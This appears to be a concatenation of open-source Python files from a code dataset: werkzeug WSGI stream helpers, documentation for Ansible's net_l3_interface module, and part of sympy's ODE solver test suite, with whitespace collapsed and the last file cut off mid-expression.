__init__(self, app, mounts=None): self.app = app self.mounts = mounts or {} def __call__(self, environ, start_response): script = environ.get('PATH_INFO', '') path_info = '' while '/' in script: if script in self.mounts: app = self.mounts[script] break script, last_item = script.rsplit('/', 1) path_info = '/%s%s' % (last_item, path_info) else: app = self.mounts.get(script, self.app) original_script_name = environ.get('SCRIPT_NAME', '') environ['SCRIPT_NAME'] = original_script_name + script environ['PATH_INFO'] = path_info return app(environ, start_response) @implements_iterator class ClosingIterator(object): """The WSGI specification requires that all middlewares and gateways respect the `close` callback of an iterator. Because it is useful to add another close action to a returned iterator and adding a custom iterator is a boring task this class can be used for that:: return ClosingIterator(app(environ, start_response), [cleanup_session, cleanup_locals]) If there is just one close function it can be passed instead of the list. A closing iterator is not needed if the application uses response objects and finishes the processing if the response is started:: try: return response(environ, start_response) finally: cleanup_session() cleanup_locals() """ def __init__(self, iterable, callbacks=None): iterator = iter(iterable) self._next = partial(next, iterator) if callbacks is None: callbacks = [] elif callable(callbacks): callbacks = [callbacks] else: callbacks = list(callbacks) iterable_close = getattr(iterator, 'close', None) if iterable_close: callbacks.insert(0, iterable_close) self._callbacks = callbacks def __iter__(self): return self def __next__(self): return self._next() def close(self): for callback in self._callbacks: callback() def wrap_file(environ, file, buffer_size=8192): """Wraps a file. This uses the WSGI server's file wrapper if available or otherwise the generic :class:`FileWrapper`. .. versionadded:: 0.5 If the file wrapper from the WSGI server is used it's important to not iterate over it from inside the application but to pass it through unchanged. If you want to pass out a file wrapper inside a response object you have to set :attr:`~BaseResponse.direct_passthrough` to `True`. More information about file wrappers are available in :pep:`333`. :param file: a :class:`file`-like object with a :meth:`~file.read` method. :param buffer_size: number of bytes for one iteration. """ return environ.get('wsgi.file_wrapper', FileWrapper)(file, buffer_size) @implements_iterator class FileWrapper(object): """This class can be used to convert a :class:`file`-like object into an iterable. It yields `buffer_size` blocks until the file is fully read. You should not use this class directly but rather use the :func:`wrap_file` function that uses the WSGI server's file wrapper support if it's available. .. versionadded:: 0.5 If you're using this object together with a :class:`BaseResponse` you have to use the `direct_passthrough` mode. :param file: a :class:`file`-like object with a :meth:`~file.read` method. :param buffer_size: number of bytes for one iteration. """ def __init__(self, file, buffer_size=8192): self.file = file self.buffer_size = buffer_size def close(self): if hasattr(self.file, 'close'): self.file.close() def __iter__(self): return self def __next__(self): data = self.file.read(self.buffer_size) if data: return data raise StopIteration() def _make_chunk_iter(stream, limit, buffer_size): """Helper for the line and chunk iter functions.""" if isinstance(stream, (bytes, bytearray, text_type)): raise TypeError('Passed a string or byte object instead of ' 'true iterator or stream.') if not hasattr(stream, 'read'): for item in stream: if item: yield item return if not isinstance(stream, LimitedStream) and limit is not None: stream = LimitedStream(stream, limit) _read = stream.read while 1: item = _read(buffer_size) if not item: break yield item def make_line_iter(stream, limit=None, buffer_size=10 * 1024): """Safely iterates line-based over an input stream. If the input stream is not a :class:`LimitedStream` the `limit` parameter is mandatory. This uses the stream's :meth:`~file.read` method internally as opposite to the :meth:`~file.readline` method that is unsafe and can only be used in violation of the WSGI specification. The same problem applies to the `__iter__` function of the input stream which calls :meth:`~file.readline` without arguments. If you need line-by-line processing it's strongly recommended to iterate over the input stream using this helper function. .. versionchanged:: 0.8 This function now ensures that the limit was reached. .. versionadded:: 0.9 added support for iterators as input stream. :param stream: the stream or iterate to iterate over. :param limit: the limit in bytes for the stream. (Usually content length. Not necessary if the `stream` is a :class:`LimitedStream`. :param buffer_size: The optional buffer size. """ _iter = _make_chunk_iter(stream, limit, buffer_size) first_item = next(_iter, '') if not first_item: return s = make_literal_wrapper(first_item) empty = s('') cr = s('\r') lf = s('\n') crlf = s('\r\n') _iter = chain((first_item,), _iter) def _iter_basic_lines(): _join = empty.join buffer = [] while 1: new_data = next(_iter, '') if not new_data: break new_buf = [] for item in chain(buffer, new_data.splitlines(True)): new_buf.append(item) if item and item[-1:] in crlf: yield _join(new_buf) new_buf = [] buffer = new_buf if buffer: yield _join(buffer) # This hackery is necessary to merge 'foo\r' and '\n' into one item # of 'foo\r\n' if we were unlucky and we hit a chunk boundary. previous = empty for item in _iter_basic_lines(): if item == lf and previous[-1:] == cr: previous += item item = empty if previous: yield previous previous = item if previous: yield previous def make_chunk_iter(stream, separator, limit=None, buffer_size=10 * 1024): """Works like :func:`make_line_iter` but accepts a separator which divides chunks. If you want newline based processing you should use :func:`make_line_iter` instead as it supports arbitrary newline markers. .. versionadded:: 0.8 .. versionadded:: 0.9 added support for iterators as input stream. :param stream: the stream or iterate to iterate over. :param separator: the separator that divides chunks. :param limit: the limit in bytes for the stream. (Usually content length. Not necessary if the `stream` is otherwise already limited). :param buffer_size: The optional buffer size. """ _iter = _make_chunk_iter(stream, limit, buffer_size) first_item = next(_iter, '') if not first_item: return _iter = chain((first_item,), _iter) if isinstance(first_item, text_type): separator = to_unicode(separator) _split = re.compile(r'(%s)' % re.escape(separator)).split _join = u''.join else: separator = to_bytes(separator) _split = re.compile(b'(' + re.escape(separator) + b')').split _join = b''.join buffer = [] while 1: new_data = next(_iter, '') if not new_data: break chunks = _split(new_data) new_buf = [] for item in chain(buffer, chunks): if item == separator: yield _join(new_buf) new_buf = [] else: new_buf.append(item) buffer = new_buf if buffer: yield _join(buffer) @implements_iterator class LimitedStream(object): """Wraps a stream so that it doesn't read more than n bytes. If the stream is exhausted and the caller tries to get more bytes from it :func:`on_exhausted` is called which by default returns an empty string. The return value of that function is forwarded to the reader function. So if it returns an empty string :meth:`read` will return an empty string as well. The limit however must never be higher than what the stream can output. Otherwise :meth:`readlines` will try to read past the limit. .. admonition:: Note on WSGI compliance calls to :meth:`readline` and :meth:`readlines` are not WSGI compliant because it passes a size argument to the readline methods. Unfortunately the WSGI PEP is not safely implementable without a size argument to :meth:`readline` because there is no EOF marker in the stream. As a result of that the use of :meth:`readline` is discouraged. For the same reason iterating over the :class:`LimitedStream` is not portable. It internally calls :meth:`readline`. We strongly suggest using :meth:`read` only or using the :func:`make_line_iter` which safely iterates line-based over a WSGI input stream. :param stream: the stream to wrap. :param limit: the limit for the stream, must not be longer than what the string can provide if the stream does not end with `EOF` (like `wsgi.input`) """ def __init__(self, stream, limit): self._read = stream.read self._readline = stream.readline self._pos = 0 self.limit = limit def __iter__(self): return self @property def is_exhausted(self): """If the stream is exhausted this attribute is `True`.""" return self._pos >= self.limit def on_exhausted(self): """This is called when the stream tries to read past the limit. The return value of this function is returned from the reading function. """ # Read null bytes from the stream so that we get the # correct end of stream marker. return self._read(0) def on_disconnect(self): """What should happen if a disconnect is detected? The return value of this function is returned from read functions in case the client went away. By default a :exc:`~werkzeug.exceptions.ClientDisconnected` exception is raised. """ from werkzeug.exceptions import ClientDisconnected raise ClientDisconnected() def exhaust(self, chunk_size=1024 * 64): """Exhaust the stream. This consumes all the data left until the limit is reached. :param chunk_size: the size for a chunk. It will read the chunk until the stream is exhausted and throw away the results. """ to_read = self.limit - self._pos chunk = chunk_size while to_read > 0: chunk = min(to_read, chunk) self.read(chunk) to_read -= chunk def read(self, size=None): """Read `size` bytes or if size is not provided everything is read. :param size: the number of bytes read. """ if self._pos >= self.limit: return self.on_exhausted() if size is None or size == -1: # -1 is for consistence with file size = self.limit to_read = min(self.limit - self._pos, size) try: read = self._read(to_read) except (IOError, ValueError): return self.on_disconnect() if to_read and len(read) != to_read: return self.on_disconnect() self._pos += len(read) return read def readline(self, size=None): """Reads one line from the stream.""" if self._pos >= self.limit: return self.on_exhausted() if size is None: size = self.limit - self._pos else: size = min(size, self.limit - self._pos) try: line = self._readline(size) except (ValueError, IOError): return self.on_disconnect() if size and not line: return self.on_disconnect() self._pos += len(line) return line def readlines(self, size=None): """Reads a file into a list of strings. It calls :meth:`readline` until the file is read to the end. It does support the optional `size` argument if the underlaying stream supports it for `readline`. """ last_pos = self._pos result = [] if size is not None: end = min(self.limit, last_pos + size) else: end = self.limit while 1: if size is not None: size -= last_pos - self._pos if self._pos >= end: break result.append(self.readline(size)) if size is not None: last_pos = self._pos return result def tell(self): """Returns the position of the stream. .. versionadded:: 0.9 """ return self._pos def __next__(self): line = self.readline() if not line: raise StopIteration() return line
gpl-2.0
t794104/ansible
lib/ansible/modules/network/layer3/net_l3_interface.py
26
2123
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2017, Ansible by Red Hat, inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'network'} DOCUMENTATION = """ --- module: net_l3_interface version_added: "2.4" author: "Ricardo Carrillo Cruz (@rcarrillocruz)" short_description: Manage L3 interfaces on network devices description: - This module provides declarative management of L3 interfaces on network devices. extends_documentation_fragment: network_agnostic options: name: description: - Name of the L3 interface. ipv4: description: - IPv4 of the L3 interface. ipv6: description: - IPv6 of the L3 interface. aggregate: description: List of L3 interfaces definitions purge: description: - Purge L3 interfaces not defined in the I(aggregate) parameter. default: no state: description: - State of the L3 interface configuration. default: present choices: ['present', 'absent'] """ EXAMPLES = """ - name: Set eth0 IPv4 address net_l3_interface: name: eth0 ipv4: 192.168.0.1/24 - name: Remove eth0 IPv4 address net_l3_interface: name: eth0 state: absent - name: Set IP addresses on aggregate net_l3_interface: aggregate: - { name: eth1, ipv4: 192.168.2.10/24 } - { name: eth2, ipv4: 192.168.3.10/24, ipv6: "fd5d:12c9:2201:1::1/64" } - name: Remove IP addresses on aggregate net_l3_interface: aggregate: - { name: eth1, ipv4: 192.168.2.10/24 } - { name: eth2, ipv4: 192.168.3.10/24, ipv6: "fd5d:12c9:2201:1::1/64" } state: absent """ RETURN = """ commands: description: The list of configuration mode commands to send to the device returned: always, except for the platforms that use Netconf transport to manage the device. type: list sample: - set interfaces ethernet eth0 address '192.168.0.1/24' """
gpl-3.0
Designist/sympy
sympy/solvers/tests/test_ode.py
39
136540
from __future__ import division from sympy import (acos, acosh, asinh, atan, cos, Derivative, diff, dsolve, Dummy, Eq, erf, erfi, exp, Function, I, Integral, LambertW, log, O, pi, Rational, RootOf, S, simplify, sin, sqrt, Symbol, tan, asin, sinh, Piecewise, symbols, Poly) from sympy.solvers.ode import (_undetermined_coefficients_match, checkodesol, classify_ode, classify_sysode, constant_renumber, constantsimp, homogeneous_order, infinitesimals, checkinfsol, checksysodesol) from sympy.solvers.deutils import ode_order from sympy.utilities.pytest import XFAIL, skip, raises, slow, ON_TRAVIS C0, C1, C2, C3, C4, C5, C6, C7, C8, C9, C10 = symbols('C0:11') x, y, z = symbols('x:z', real=True) f = Function('f') g = Function('g') h = Function('h') # Note: the tests below may fail (but still be correct) if ODE solver, # the integral engine, solve(), or even simplify() changes. Also, in # differently formatted solutions, the arbitrary constants might not be # equal. Using specific hints in tests can help to avoid this. # Tests of order higher than 1 should run the solutions through # constant_renumber because it will normalize it (constant_renumber causes # dsolve() to return different results on different machines) def test_linear_2eq_order1(): x, y, z = symbols('x, y, z', function=True) k, l, m, n = symbols('k, l, m, n', Integer=True) t = Symbol('t') x0, y0 = symbols('x0, y0') eq1 = (Eq(diff(x(t),t), 9*y(t)), Eq(diff(y(t),t), 12*x(t))) sol1 = [Eq(x(t), 9*C1*exp(-6*sqrt(3)*t) + 9*C2*exp(6*sqrt(3)*t)), \ Eq(y(t), -6*sqrt(3)*C1*exp(-6*sqrt(3)*t) + 6*sqrt(3)*C2*exp(6*sqrt(3)*t))] assert dsolve(eq1) == sol1 eq2 = (Eq(diff(x(t),t), 2*x(t) + 4*y(t)), Eq(diff(y(t),t), 12*x(t) + 41*y(t))) sol2 = [Eq(x(t), 4*C1*exp(t*(-sqrt(1713)/2 + 43/2)) + 4*C2*exp(t*(sqrt(1713)/2 + 43/2))), \ Eq(y(t), C1*(-sqrt(1713)/2 + 39/2)*exp(t*(-sqrt(1713)/2 + 43/2)) + C2*(39/2 + \ sqrt(1713)/2)*exp(t*(sqrt(1713)/2 + 43/2)))] assert dsolve(eq2) == sol2 eq3 = (Eq(diff(x(t),t), x(t) + y(t)), Eq(diff(y(t),t), -2*x(t) + 2*y(t))) sol3 = [Eq(x(t), (C1*sin(sqrt(7)*t/2) + C2*cos(sqrt(7)*t/2))*exp(3*t/2)), \ Eq(y(t), ((C1/2 - sqrt(7)*C2/2)*sin(sqrt(7)*t/2) + (sqrt(7)*C1/2 + C2/2)*cos(sqrt(7)*t/2))*exp(3*t/2))] assert dsolve(eq3) == sol3 eq4 = (Eq(diff(x(t),t), x(t) + y(t) + 9), Eq(diff(y(t),t), 2*x(t) + 5*y(t) + 23)) sol4 = [Eq(x(t), C1*exp(t*(-sqrt(6) + 3)) + C2*exp(t*(sqrt(6) + 3)) - S(22)/3), \ Eq(y(t), C1*(-sqrt(6) + 2)*exp(t*(-sqrt(6) + 3)) + C2*(2 + sqrt(6))*exp(t*(sqrt(6) + 3)) - S(5)/3)] assert dsolve(eq4) == sol4 eq5 = (Eq(diff(x(t),t), x(t) + y(t) + 81), Eq(diff(y(t),t), -2*x(t) + y(t) + 23)) sol5 = [Eq(x(t), (C1*sin(sqrt(2)*t) + C2*cos(sqrt(2)*t))*exp(t) - S(58)/3), \ Eq(y(t), (sqrt(2)*C1*cos(sqrt(2)*t) - sqrt(2)*C2*sin(sqrt(2)*t))*exp(t) - S(185)/3)] assert dsolve(eq5) == sol5 eq6 = (Eq(diff(x(t),t), 5*t*x(t) + 2*y(t)), Eq(diff(y(t),t), 2*x(t) + 5*t*y(t))) sol6 = [Eq(x(t), (C1*exp(Integral(2, t)) + C2*exp(-Integral(2, t)))*exp(Integral(5*t, t))), \ Eq(y(t), (C1*exp(Integral(2, t)) - C2*exp(-Integral(2, t)))*exp(Integral(5*t, t)))] assert dsolve(eq6) == sol6 eq7 = (Eq(diff(x(t),t), 5*t*x(t) + t**2*y(t)), Eq(diff(y(t),t), -t**2*x(t) + 5*t*y(t))) sol7 = [Eq(x(t), (C1*cos(Integral(t**2, t)) + C2*sin(Integral(t**2, t)))*exp(Integral(5*t, t))), \ Eq(y(t), (-C1*sin(Integral(t**2, t)) + C2*cos(Integral(t**2, t)))*exp(Integral(5*t, t)))] assert dsolve(eq7) == sol7 eq8 = (Eq(diff(x(t),t), 5*t*x(t) + t**2*y(t)), Eq(diff(y(t),t), -t**2*x(t) + (5*t+9*t**2)*y(t))) sol8 = [Eq(x(t), (C1*exp((-sqrt(77)/2 + 9/2)*Integral(t**2, t)) + \ C2*exp((sqrt(77)/2 + 9/2)*Integral(t**2, t)))*exp(Integral(5*t, t))), \ Eq(y(t), (C1*(-sqrt(77)/2 + 9/2)*exp((-sqrt(77)/2 + 9/2)*Integral(t**2, t)) + \ C2*(sqrt(77)/2 + 9/2)*exp((sqrt(77)/2 + 9/2)*Integral(t**2, t)))*exp(Integral(5*t, t)))] assert dsolve(eq8) == sol8 eq10 = (Eq(diff(x(t),t), 5*t*x(t) + t**2*y(t)), Eq(diff(y(t),t), (1-t**2)*x(t) + (5*t+9*t**2)*y(t))) sol10 = [Eq(x(t), C1*x0 + C2*x0*Integral(t**2*exp(Integral(5*t, t))*exp(Integral(9*t**2 + 5*t, t))/x0**2, t)), \ Eq(y(t), C1*y0 + C2(y0*Integral(t**2*exp(Integral(5*t, t))*exp(Integral(9*t**2 + 5*t, t))/x0**2, t) + \ exp(Integral(5*t, t))*exp(Integral(9*t**2 + 5*t, t))/x0))] assert dsolve(eq10) == sol10 def test_linear_2eq_order1_nonhomog_linear(): e = [Eq(diff(f(x), x), f(x) + g(x) + 5*x), Eq(diff(g(x), x), f(x) - g(x))] raises(NotImplementedError, lambda: dsolve(e)) def test_linear_2eq_order1_nonhomog(): # Note: once implemented, add some tests esp. with resonance e = [Eq(diff(f(x), x), f(x) + exp(x)), Eq(diff(g(x), x), f(x) + g(x) + x*exp(x))] raises(NotImplementedError, lambda: dsolve(e)) def test_linear_2eq_order1_type2_degen(): e = [Eq(diff(f(x), x), f(x) + 5), Eq(diff(g(x), x), f(x) + 7)] s1 = [Eq(f(x), C2*exp(x) - 5), Eq(g(x), C2*exp(x) - C1 + 2*x - 5)] s = dsolve(e) assert s == s1 s = [(l.lhs, l.rhs) for l in s] assert e[0].subs(s).doit() assert e[1].subs(s).doit() def test_dsolve_linear_2eq_order1_diag_triangular(): e = [Eq(diff(f(x), x), f(x)), Eq(diff(g(x), x), g(x))] s1 = [Eq(f(x), C2*exp(x)), Eq(g(x), C1*exp(x))] s = dsolve(e) assert s == s1 s = [(l.lhs, l.rhs) for l in s] assert e[0].subs(s).doit() assert e[1].subs(s).doit() e = [Eq(diff(f(x), x), 2*f(x)), Eq(diff(g(x), x), 3*f(x) + 7*g(x))] s1 = [Eq(f(x), -5*C1*exp(2*x)), Eq(g(x), 3*C1*exp(2*x) + 8*C2*exp(7*x))]; s = dsolve(e) assert s == s1 s = [(l.lhs, l.rhs) for l in s] assert e[0].subs(s).doit() assert e[1].subs(s).doit() @XFAIL def test_sysode_linear_2eq_order1_type1_D_lt_0(): e = [Eq(diff(f(x), x), -9*I*f(x) - 4*g(x)), Eq(diff(g(x), x), -4*I*g(x))] s = dsolve(e) s = [(l.lhs, l.rhs) for l in s] # bit of a hassle to get these to clean up assert (e[0].lhs - e[0].rhs).subs(s).doit().simplify().doit() == 0 assert (e[1].lhs - e[1].rhs).subs(s).doit().simplify().doit() == 0 @XFAIL def test_sysode_linear_2eq_order1_type1_D_lt_0_b_eq_0(): e = [Eq(diff(f(x), x), -9*I*f(x)), Eq(diff(g(x), x), -4*I*g(x))] s1 = [Eq(f(x), C1*exp(-9*I*x)), Eq(g(x), C2*exp(-4*I*x))] s = dsolve(e) assert s == s1 s = [(l.lhs, l.rhs) for l in s] assert e[0].subs(s).doit() assert e[1].subs(s).doit() def test_linear_2eq_order2(): x, y, z = symbols('x, y, z', function=True) k, l, m, n = symbols('k, l, m, n', Integer=True) t, l = symbols('t, l') x0, y0 = symbols('x0, y0') eq1 = (Eq(diff(x(t),t,t), 5*x(t) + 43*y(t)), Eq(diff(y(t),t,t), x(t) + 9*y(t))) sol1 = [Eq(x(t), 43*C1*exp(t*RootOf(l**4 - 14*l**2 + 2, 0)) + 43*C2*exp(t*RootOf(l**4 - 14*l**2 + 2, 1)) + \ 43*C3*exp(t*RootOf(l**4 - 14*l**2 + 2, 2)) + 43*C4*exp(t*RootOf(l**4 - 14*l**2 + 2, 3))), \ Eq(y(t), C1*(RootOf(l**4 - 14*l**2 + 2, 0)**2 - 5)*exp(t*RootOf(l**4 - 14*l**2 + 2, 0)) + \ C2*(RootOf(l**4 - 14*l**2 + 2, 1)**2 - 5)*exp(t*RootOf(l**4 - 14*l**2 + 2, 1)) + \ C3*(RootOf(l**4 - 14*l**2 + 2, 2)**2 - 5)*exp(t*RootOf(l**4 - 14*l**2 + 2, 2)) + \ C4*(RootOf(l**4 - 14*l**2 + 2, 3)**2 - 5)*exp(t*RootOf(l**4 - 14*l**2 + 2, 3)))] assert dsolve(eq1) == sol1 eq2 = (Eq(diff(x(t),t,t), 8*x(t)+3*y(t)+31), Eq(diff(y(t),t,t), 9*x(t)+7*y(t)+12)) sol2 = [Eq(x(t), 3*C1*exp(t*RootOf(l**4 - 15*l**2 + 29, 0)) + 3*C2*exp(t*RootOf(l**4 - 15*l**2 + 29, 1)) + \ 3*C3*exp(t*RootOf(l**4 - 15*l**2 + 29, 2)) + 3*C4*exp(t*RootOf(l**4 - 15*l**2 + 29, 3)) - 181/29), \ Eq(y(t), C1*(RootOf(l**4 - 15*l**2 + 29, 0)**2 - 8)*exp(t*RootOf(l**4 - 15*l**2 + 29, 0)) + \ C2*(RootOf(l**4 - 15*l**2 + 29, 1)**2 - 8)*exp(t*RootOf(l**4 - 15*l**2 + 29, 1)) + \ C3*(RootOf(l**4 - 15*l**2 + 29, 2)**2 - 8)*exp(t*RootOf(l**4 - 15*l**2 + 29, 2)) + \ C4*(RootOf(l**4 - 15*l**2 + 29, 3)**2 - 8)*exp(t*RootOf(l**4 - 15*l**2 + 29, 3)) + 183/29)] assert dsolve(eq2) == sol2 eq3 = (Eq(diff(x(t),t,t) - 9*diff(y(t),t) + 7*x(t),0), Eq(diff(y(t),t,t) + 9*diff(x(t),t) + 7*y(t),0)) sol3 = [Eq(x(t), C1*cos(t*(9/2 + sqrt(109)/2)) + C2*sin(t*(9/2 + sqrt(109)/2)) + C3*cos(t*(-sqrt(109)/2 + 9/2)) + \ C4*sin(t*(-sqrt(109)/2 + 9/2))), Eq(y(t), -C1*sin(t*(9/2 + sqrt(109)/2)) + C2*cos(t*(9/2 + sqrt(109)/2)) - \ C3*sin(t*(-sqrt(109)/2 + 9/2)) + C4*cos(t*(-sqrt(109)/2 + 9/2)))] assert dsolve(eq3) == sol3 eq4 = (Eq(diff(x(t),t,t), 9*t*diff(y(t),t)-9*y(t)), Eq(diff(y(t),t,t),7*t*diff(x(t),t)-7*x(t))) sol4 = [Eq(x(t), C3*t + t*Integral((9*C1*exp(3*sqrt(7)*t**2/2) + 9*C2*exp(-3*sqrt(7)*t**2/2))/t**2, t)), \ Eq(y(t), C4*t + t*Integral((3*sqrt(7)*C1*exp(3*sqrt(7)*t**2/2) - 3*sqrt(7)*C2*exp(-3*sqrt(7)*t**2/2))/t**2, t))] assert dsolve(eq4) == sol4 eq5 = (Eq(diff(x(t),t,t), (log(t)+t**2)*diff(x(t),t)+(log(t)+t**2)*3*diff(y(t),t)), Eq(diff(y(t),t,t), \ (log(t)+t**2)*2*diff(x(t),t)+(log(t)+t**2)*9*diff(y(t),t))) sol5 = [Eq(x(t), -sqrt(22)*(C1*Integral(exp((-sqrt(22) + 5)*Integral(t**2 + log(t), t)), t) + C2 - \ C3*Integral(exp((sqrt(22) + 5)*Integral(t**2 + log(t), t)), t) - C4 - \ (sqrt(22) + 5)*(C1*Integral(exp((-sqrt(22) + 5)*Integral(t**2 + log(t), t)), t) + C2) + \ (-sqrt(22) + 5)*(C3*Integral(exp((sqrt(22) + 5)*Integral(t**2 + log(t), t)), t) + C4))/88), \ Eq(y(t), -sqrt(22)*(C1*Integral(exp((-sqrt(22) + 5)*Integral(t**2 + log(t), t)), t) + \ C2 - C3*Integral(exp((sqrt(22) + 5)*Integral(t**2 + log(t), t)), t) - C4)/44)] assert dsolve(eq5) == sol5 eq6 = (Eq(diff(x(t),t,t), log(t)*t*diff(y(t),t) - log(t)*y(t)), Eq(diff(y(t),t,t), log(t)*t*diff(x(t),t) - log(t)*x(t))) sol6 = [Eq(x(t), C3*t + t*Integral((C1*exp(Integral(t*log(t), t)) + \ C2*exp(-Integral(t*log(t), t)))/t**2, t)), Eq(y(t), C4*t + t*Integral((C1*exp(Integral(t*log(t), t)) - \ C2*exp(-Integral(t*log(t), t)))/t**2, t))] assert dsolve(eq6) == sol6 eq7 = (Eq(diff(x(t),t,t), log(t)*(t*diff(x(t),t) - x(t)) + exp(t)*(t*diff(y(t),t) - y(t))), \ Eq(diff(y(t),t,t), (t**2)*(t*diff(x(t),t) - x(t)) + (t)*(t*diff(y(t),t) - y(t)))) sol7 = [Eq(x(t), C3*t + t*Integral((C1*x0 + C2*x0*Integral(t*exp(t)*exp(Integral(t**2, t))*\ exp(Integral(t*log(t), t))/x0**2, t))/t**2, t)), Eq(y(t), C4*t + t*Integral((C1*y0 + \ C2(y0*Integral(t*exp(t)*exp(Integral(t**2, t))*exp(Integral(t*log(t), t))/x0**2, t) + \ exp(Integral(t**2, t))*exp(Integral(t*log(t), t))/x0))/t**2, t))] assert dsolve(eq7) == sol7 eq8 = (Eq(diff(x(t),t,t), t*(4*x(t) + 9*y(t))), Eq(diff(y(t),t,t), t*(12*x(t) - 6*y(t)))) sol8 = ("[Eq(x(t), -sqrt(133)*((-sqrt(133) - 1)*(C2*(133*t**8/24 - t**3/6 + sqrt(133)*t**3/2 + 1) + " "C1*t*(sqrt(133)*t**4/6 - t**3/12 + 1) + O(t**6)) - (-1 + sqrt(133))*(C2*(-sqrt(133)*t**3/6 - t**3/6 + 1) + " "C1*t*(-sqrt(133)*t**3/12 - t**3/12 + 1) + O(t**6)) - 4*C2*(133*t**8/24 - t**3/6 + sqrt(133)*t**3/2 + 1) + " "4*C2*(-sqrt(133)*t**3/6 - t**3/6 + 1) - 4*C1*t*(sqrt(133)*t**4/6 - t**3/12 + 1) + " "4*C1*t*(-sqrt(133)*t**3/12 - t**3/12 + 1) + O(t**6))/3192), Eq(y(t), -sqrt(133)*(-C2*(133*t**8/24 - t**3/6 + " "sqrt(133)*t**3/2 + 1) + C2*(-sqrt(133)*t**3/6 - t**3/6 + 1) - C1*t*(sqrt(133)*t**4/6 - t**3/12 + 1) + " "C1*t*(-sqrt(133)*t**3/12 - t**3/12 + 1) + O(t**6))/266)]") assert str(dsolve(eq8)) == sol8 eq9 = (Eq(diff(x(t),t,t), t*(4*diff(x(t),t) + 9*diff(y(t),t))), Eq(diff(y(t),t,t), t*(12*diff(x(t),t) - 6*diff(y(t),t)))) sol9 = [Eq(x(t), -sqrt(133)*(4*C1*Integral(exp((-sqrt(133) - 1)*Integral(t, t)), t) + 4*C2 - \ 4*C3*Integral(exp((-1 + sqrt(133))*Integral(t, t)), t) - 4*C4 - (-1 + sqrt(133))*(C1*Integral(exp((-sqrt(133) - \ 1)*Integral(t, t)), t) + C2) + (-sqrt(133) - 1)*(C3*Integral(exp((-1 + sqrt(133))*Integral(t, t)), t) + \ C4))/3192), Eq(y(t), -sqrt(133)*(C1*Integral(exp((-sqrt(133) - 1)*Integral(t, t)), t) + C2 - \ C3*Integral(exp((-1 + sqrt(133))*Integral(t, t)), t) - C4)/266)] assert dsolve(eq9) == sol9 eq10 = (t**2*diff(x(t),t,t) + 3*t*diff(x(t),t) + 4*t*diff(y(t),t) + 12*x(t) + 9*y(t), \ t**2*diff(y(t),t,t) + 2*t*diff(x(t),t) - 5*t*diff(y(t),t) + 15*x(t) + 8*y(t)) sol10 = [Eq(x(t), -C1*(-2*sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 13 + 2*sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + \ 346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))))*exp((-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2 + 1 + sqrt(-284/sqrt(-346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)))/2)*log(t)) - \ C2*(-2*sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 13 - 2*sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))))*exp((-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2 + 1 - sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)*log(t)) - C3*t**(1 + sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1/3))) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2 + sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)*(2*sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 13 + 2*sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))) - C4*t**(-sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 